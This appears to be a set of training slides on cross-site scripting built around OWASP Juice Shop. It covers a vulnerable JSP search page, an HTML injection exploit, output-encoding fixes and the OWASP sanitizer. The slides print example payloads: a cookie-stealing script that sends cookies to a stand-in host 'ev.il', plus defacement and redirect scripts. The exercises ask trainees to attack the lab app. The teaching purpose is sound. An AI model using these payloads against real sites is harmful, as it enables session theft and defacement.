## XSS

(Cross-Site Scripting)

## **Cross-Site Scripting**

- 1. An attacker can use XSS to send a malicious script to an unsuspecting user
- 2. The end user's browser has *no way to know that the script should not be trusted*, and will execute the script

### **Root Cause**

Web applications vulnerable to XSS...

- 1. ...include untrusted data (usually from an HTTP request) into dynamic content...
- 2. ...that is then sent to a web user without previously validating for malicious content

# **Typical Impact**

- Steal user's session
- Steal sensitive data
- Rewrite the web page
- Redirect user to malicious website

# **Typical Phishing Email**

Dear valued customer!

You won our big lottery which you might not even have participated in! Click on the following totall inconspicious link to claim your prize **now**!

#### CLICK HER! FREE STUFF! YOU WON!

Sincereely yours,

Bjorn Kimminich CEO of Juice Shop Inc.

### **XSS Demo**

In this video shows how severe the impact of XSS can be: It makes the application shake & dance and lets a keylogger steal user credentials!

# **Risk Rating**

## **Cross-Site Scripting (XSS)**

Exploitability	Prevalence	Detecability	Impact	Risk
Easy	Widespread	Easy	Moderate	A7
( 3	+ 3	+ 3)/3	* 2	= 6.0

# X Vulnerable Code Example

```
<!--search.jsp-->
<%String searchCriteria = request.getParameter("searchValue");%>
```

might forward to the following page when executing the search:

```
<!--results.jsp-->
Search results for <b><%=searchCriteria%></b>:

<!-- Render the actual results table here -->
```

# Benign Usage

https://my-little-application.com/search.jsp?searchValue=blablubb

results in the following HTML on the results.jsp page:

Search results for <b>blablubb</b>:

rendering as:

Search results for **blablubb**:

# **Exploit Example (HTML Injection)**

```
https://my-little-application.com/search.jsp?searchValue=</b><img
src="https://placekitten.com/g/100/100"/><b>
```

results in the following HTML on the results.jsp page:

```
Search results for <b></b><img src="https://placekitten.com/g/100/100"/><b></b>:
```

rendering as:

Search results for

# **XSS Attack Payload Examples**

#### **Stealing User Session**

```
cscript>
  new Image().src="http://ev.il/hijack.php?c="+encodeURI(document.cookie);
c/script>
```

#### Site Defacement

```
<script>document.body.background="http://ev.il/image.jpg";</script>
```

#### Redirect

```
<script>window.location.assign("http://ev.il");</script>
```

## Forms of XSS

- Reflected XSS: Application includes unvalidated and unescaped user input as part of HTML output
- **Stored XSS**: Application stores unsanitized user input that is viewed at a later time by another user
- **DOM XSS**: JavaScript frameworks & single-page applications dynamically include attacker-controllable data to a page
- i The previous example vulnerability and exploit of results.jsp is a typical Reflected XSS.

## Reflected XSS

## Stored XSS

## **DOM XSS**

## **Exercise 2.1**

- 1. Identify places where user input is *directly* included in the output
- 2. Perform a successful *DOM XSS* attack ( )
- 3. Perform a successful *Reflected XSS* attack ( $\uparrow \uparrow \uparrow$ )
- **1** Make sure that you really understand the subtle difference between those two underlying vulnerabilities.

### Prevention

- Do not include user supplied input in your output!
- Output Encode all user supplied input
  - e.g. OWASP Java Encoder
- Perform White List Input Validation on user input
- Use an HTML Sanitizer for larger user supplied HTML chunks
  - e.g. OWASP Java HTML Sanitizer

# ✓ Fixed Code Example

Using Encoder from OWASP Java Encoder Project:

```
<%import org.owasp.encoder.Encoder;%>
Search results for <b><%=Encoder.forHtml(searchCriteria)%></b>:
<!-- ... -->
```

Same result using HtmlUtils from the popular Spring framework:

```
<%import org.springframework.web.util.HtmlUtils;%>
Search results for <b><%=HtmlUtils.htmlEscape(searchCriteria)%></b>:
<!-- ... -->
```

# **Encoding Contexts**

#### **HTML Content**

```
<textarea name="text"><%= Encode.forHtmlContent(UNTRUSTED) %></textarea>
```

#### **HTML Attribute**

```
<input type="text"
    name="address"
    value="<%= Encode.forHtmlAttribute(UNTRUSTED) %>" />
```

Alternatively Encode.forHtml(UNTRUSTED) can be used for both the above contexts but is less efficient as it encodes more characters.

#### **JavaScript**

```
<script type="text/javascript">
  var msg = "<%= Encode.forJavaScriptBlock(UNTRUSTED) %>";
  alert(msg);
  </script>
```

#### JavaScript Variable

```
<button onclick="alert('<%= Encode.forJavaScriptAttribute(UNTRUSTED) %>');">
  click me
  </button>
```

Alternatively Encode.forJavaScript(UNTRUSTED) can be used for both the above contexts but is less efficient as it encodes more characters.

#### CSS

```
<div style="width:<= Encode.forCssString(UNTRUSTED) %>">
<div style="background:<= Encode.forCssUrl(UNTRUSTED) %>">
```

#### **URL Parameter**

```
<a href="/search?value=<%= Encode.forUriComponent(UNTRUSTED) %>&order=1#top">
<a href="/page/<%= Encode.forUriComponent(UNTRUSTED) %>">
```

## **OWASP Java HTML Sanitizer**

Fast and easy to configure HTML Sanitizer written in Java which lets you include HTML authored by third-parties in your web application while protecting against XSS.

## Using a simple pre-packaged policy

## **Custom Sanitization Policy**

```
private static final PolicyFactory BASIC_FORMATTING_WITH_LINKS_POLICY =
   new HtmlPolicyBuilder()
   .allowCommonInlineFormattingElements().allowCommonBlockElements()
   .allowAttributes("face", "color", "size", "style").onElements("font")
   .allowAttributes("style").onElements("div", "span").allowElements("a")
   .allowAttributes("href").onElements("a").allowStandardUrlProtocols()
   .requireRelNofollowOnLinks().toFactory();
```

This custom policy actually reflects the features of a 3rd-party rich text editor widget for GWT applications the author once used.

# **Input Validation**

#### **Black List**

- "Allow what is not explicitly blocked!"
  - Example: Do not allow < , > , " , ; , ' and script in user input (!?)
- Can be bypassed by masking attack patterns
- Must be updated for new attack patterns
- = Negative Security Rule

#### White List

- "Block what is not explicitly allowed!"
  - Example: Allow only a-z, A-Z and 0-9 in user input
- Provide protection even against future vulnerabilities
- Tend to get weaker over time when not carefully maintained
- Can be quite effortsome to define for a whole application
- = Positive Security Rule

# "Client Side Validation"

# **Bypassing Client Side Validation**

- Client Side Validation is *always* for *convenience* but **never** for **security**!
- You can just stop all outgoing HTTP requests in your browser...
  - ...and tamper with contained headers, data or passed parameters
  - ...after Client Side Validation took place
  - ...but before they are actually submitted to the server
- Sometimes you can just bypass the client entirely and interact with the backend instead

# Exercise 2.2 (11)

- 1. Identify places where *stored* user input is displayed elsewhere
- 2. Perform any *Stored XSS* attack successfully (★★ ★★★★★)
- 3. Visit the page where the attack gets executed to verify your success
- i If your attack seems to be blocked or otherwise prevented, you can either try to beat the security mechanism or just find an easier target!
